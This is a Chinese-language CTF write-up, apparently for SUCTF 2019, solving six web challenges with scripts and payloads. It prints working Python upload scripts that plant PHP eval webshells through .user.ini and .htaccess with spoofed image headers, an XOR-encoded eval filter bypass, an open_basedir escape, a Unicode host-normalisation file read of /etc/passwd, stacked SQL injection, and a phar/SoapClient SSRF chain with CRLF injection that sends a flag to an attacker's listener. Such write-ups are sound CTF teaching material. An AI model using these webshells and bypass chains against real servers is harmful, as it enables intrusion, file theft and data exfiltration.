這次比賽滑水了,只有中午和晚上有時(shí)間看題,都是大佬們帶著飛的,記錄下部分Web的解題思路
0x01 CheckIn
這題在國(guó)賽的華東北區(qū)半決賽出現(xiàn)過,當(dāng)時(shí)的服務(wù)器環(huán)境是apache + php,所以解法是上傳.htaccess和里面用base64協(xié)議來解析上傳的馬。
#.htacess
\x00\x00\x8a\x39\x8a\x39 #用來繞過文件頭檢測(cè)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/[md5(ip)]/shell.jpg"
繞過文件頭檢測(cè)還可以用
#define width 1337
#define height 1337
#shell.jpg
\x00\x00\x8a\x39\x8a\x39
簡(jiǎn)單的一句話木馬base64編碼就好了
不過這里是nginx環(huán)境,.htaccess就用不上了,所以就是要找一個(gè)nginx中類似于.htaccess的配置文件來設(shè)置解析,剛好nginx上有一個(gè).user.ini文件,參考:http://www.mumaasp.com/222.html
.user.ini
\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
cc.jpg繞過<?的過濾
\x00\x00\x8a\x39\x8a\x39
<script language='php'>eval($_REQUEST[c]);</script>
#php5環(huán)境下可用
上傳后index.php會(huì)默認(rèn)包含了一句話木馬,所以直接執(zhí)行命令就好了

貼一下上傳的腳本
import requests
import base64
url = "http://47.111.59.243:9021/"
userini = b"""\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
"""
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"
files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
print("upload cc.jpg")
files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
0x02 EasyPHP
題目源碼
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
這題由兩部分組成,第一部分為
<?php
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
第二部分就是get_the_flag函數(shù),所以也就分成兩部分出來解題,既然題目直接給了eval,還各種限制,那么想要突破限制直接getshell估計(jì)不可行,所以思路就是突破限制調(diào)用get_the_flag函數(shù),繞后通過第二部分來getshell。
第一部分參考:https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md
顯然現(xiàn)在的正則嚴(yán)格了特別多,而且還做了字符長(zhǎng)度的限制,不過利用方式應(yīng)該是一樣的,就是通過異或的方法來構(gòu)造出我們需要的php代碼,因?yàn)樽址L(zhǎng)度的限制,所以我們可以構(gòu)造出一個(gè)$_GET[x]出來,繞后利用php語(yǔ)法解析${$_GET[x]},通過參數(shù)x來觸發(fā)get_the_flag函數(shù)。
首先fuzz出我們當(dāng)前可見的字符有
# ; ! $ % ( ) * + - / : < > ? @ \ ] ^ { }
fuzz腳本
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
echo bin2hex(chr($ascii));
echo "\n";
}
}
?>
所以就是用這些字符來異或,異或出$_GET即可,這里就不貼FUZZ異或的腳本了
%fe%fe%fe%fe^%a1%b9%bb%aa -> $_GET
接下來就是拼接參數(shù)什么的,同時(shí)要考慮過
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
所以最后拼接出來的就是
${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
接下來要做的就是第二部分了,第二部分在XMAN的個(gè)人賽中出現(xiàn)過,其實(shí)也和第一題是一樣的,只是這次剛好就是apache+php環(huán)境了,所以直接用第一題中提到的腳本打個(gè)shell就好了,貼個(gè)腳本
import requests
import base64
url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

不過這題做了個(gè)open_basedir,剛好DE1CTF的時(shí)候用了一次,參考:https://xz.aliyun.com/t/4720,payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
#繞后用file_get_contents讀就好了

0x03 Pythonginx
題目源碼(讀來的):
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
看這個(gè)源碼很簡(jiǎn)單,就是要你構(gòu)造出第三次判斷的時(shí)候是suctf.cc但是在前兩個(gè)判斷的時(shí)候又不能是suctf.cc,所以就是其中的字符在第三次判斷前處理后要變成suctf.cc了。
參考::https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf(闊以發(fā)現(xiàn),這題的源碼和里面的例子很像哦)
Unicode/Letterlike Symbols字符闊以從這?。?a target="_blank">https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols
利用?來替換.cc中的從c,在最后出來后會(huì)恢復(fù)成c,也就成功繞過了if判斷,闊以修改個(gè)源碼用來測(cè)試
import urllib
from urllib import parse
from urllib.parse import urlsplit, urlunsplit
#url = []
url = "file://suctf.c?/../../../etc/passwd"
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
print('first')
exit(1)
print('1 '+host)
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
print('sec')
exit(2)
print('2 '+host)
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
print('3 '+host)
print(finalUrl)
#print(urllib.request.urlopen(finalUrl).read())
else:
print('???')
exit(3)

所以拿去題目打一波就闊以任意文件讀取了,如下

接下來就是讀各種文件(這里就不寫辛酸過程,以及我們是如何丟了一血的了),必須噴一下/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2 2b44a80d20fc 這特么內(nèi)網(wǎng)地址
127.0.0.1 suctf.cc
看到了個(gè)內(nèi)網(wǎng)地址,下意識(shí)以為是要日內(nèi)網(wǎng)了,一直研究這個(gè)題目源碼怎么ssrf,以及怎么日到?jīng)]開端口的uwsgi,一度一位又是一個(gè)最新的技術(shù),找了半天的騷操作。
讀nginx配置 /etc/nginx/conf.d/nginx.conf(也沒啥)
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
}
為什么丟一血就是在這,沒去想讀其他位置的配置文件~~~
后來讀/usr/local/nginx/conf/nginx.conf 就這個(gè)鬼東西
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag; #flag就在這,竟然不在內(nèi)網(wǎng)里?。?!
# }
}
所以讀flag就好了

(注:從今天開始收集字典,以后讀東西都用字典來讀)
0x04 easy_sql
這題比較意外,題目和強(qiáng)網(wǎng)杯一樣是一個(gè)堆疊注入,不過做了更多限制。
1;show databases; #查庫(kù)
1;show tables; #查表
當(dāng)前庫(kù)只有一個(gè)Flag表,而且語(yǔ)句長(zhǎng)度限制了40位,所以想要像強(qiáng)網(wǎng)一樣的改表面和預(yù)編譯的操作都不可以了,并且過濾了from等等(fuzz下就好了,這次放出了select),本以為語(yǔ)句是類似select xxx from xxx where id = ()這樣的,結(jié)果后來聽說泄露的是這樣的
select $_GET['query'] || flag from flag
我拿flag的時(shí)候就是輸了個(gè)
*,1 這東西我都覺得神了,這都出了

所以沒毛病,這個(gè)確實(shí)能出。
0x05 upload lib2
由于木有時(shí)間,這題木有去看,所以就是記錄下復(fù)現(xiàn)過程了,題目給了源碼,所以就是進(jìn)行代碼審計(jì)
class Ad{
......
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服務(wù)器監(jiān)聽一個(gè)確??梢允盏较⒌亩丝趤慝@取flag
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip']; //你用來獲取flag的服務(wù)器ip
$port = $_POST['port']; //你用來獲取flag的服務(wù)器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
......
也就是說需要通過SSRF來反序列化觸發(fā)getFlag函數(shù),所以繼續(xù)查看代碼
#class.php
......
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
......
參考zsx的文章:https://blog.zsxsoft.com/post/38,查看finfo_file的底層代碼

闊以發(fā)現(xiàn)finfo_file也調(diào)用了,所以finfo_file也是能夠觸發(fā)phar反序列化的,那么就可以利用SoapClient來通過SSRF以POST方式訪問到admin.php文件。不過在func.php中又做了限制
<?php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
phar協(xié)議不能出現(xiàn)在開頭,還是zxs那篇文章里寫的

也就是說闊以構(gòu)造繞過一下來調(diào)用phar協(xié)議,這里的吹一下altman(https://altman.vip/),fuzz到一個(gè)可以利用的方法
php://filter/resource=phar://
所以接下來就是生成一個(gè)phar腳本,上傳后通過func觸發(fā)就好了
<?php
class File{
public $file_name;
public $type;
public $func = "SoapClient";
function __construct(){
$this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "c", 'user_agent' => "catcat\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\n\r\nip=[yourip]&port=[port]&admin=1&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1\r\n\r\n\r\n"));
}
}
$o = new File();
$phar=new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
繞后改個(gè)后綴上傳,vps上監(jiān)聽一下端口,到func.php觸發(fā)就可以了

0x06 Cocktail's Remix
賽后才開始看,題目放了一個(gè)robots.txt
User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php
給了個(gè)phpinfo頁(yè)面以及一個(gè)download.php(抓包看一下可以知道是可以構(gòu)造成任意文件下載的)

通過payload:download.php?filename=xxxx實(shí)現(xiàn)任意文件讀取,開始讀各種配置文件。
#/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.77.120.11 MysqlServer
172.77.120.10 f8a7f2ca8591 又是內(nèi)網(wǎng)地址
# download.php
<?php
$filename = $_GET['filename'];
header("Content-Disposition: attachment;filename=".$filename);
header('Content-Length: '.filesize($filename));
readfile($filename);
?>
# config.php
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>
題目給phpinfo頁(yè)面肯定是要我們?nèi)タ瓷厦娴牟糠中畔⒌?/p>

其中加載了一個(gè)mod_cocktail(這個(gè)東西要是不說他是后門我就去想辦法日內(nèi)網(wǎng)了)模塊,下載下來用ida看看,路徑:/usr/lib/apache2/modules/mod_cocktail.so。

逆向師傅說這就是一個(gè)header的后門,獲取Reffer字段的值,base64解碼后直接放bash中運(yùn)行,所以就闊以執(zhí)行任意命令執(zhí)行了

操作了一番,發(fā)現(xiàn)木有權(quán)限寫shell,也沒法反彈shell出來。

在config給了數(shù)據(jù)庫(kù)的服務(wù)器和配置信息,所以flag應(yīng)該是要去數(shù)據(jù)庫(kù)中,所以利用數(shù)據(jù)庫(kù)連接語(yǔ)句去查庫(kù)
#mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/read.txt
Database
information_schema
flag
#mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;select * from flag" > /tmp/read.txt
flag
flag{Ea3y_apAcH3_m0d_BaCkd00rx_fLaG}
0x07 iCloudMusic
這個(gè)不會(huì)了,大師傅們賽中差一步就出,等貼大師傅們的鏈接了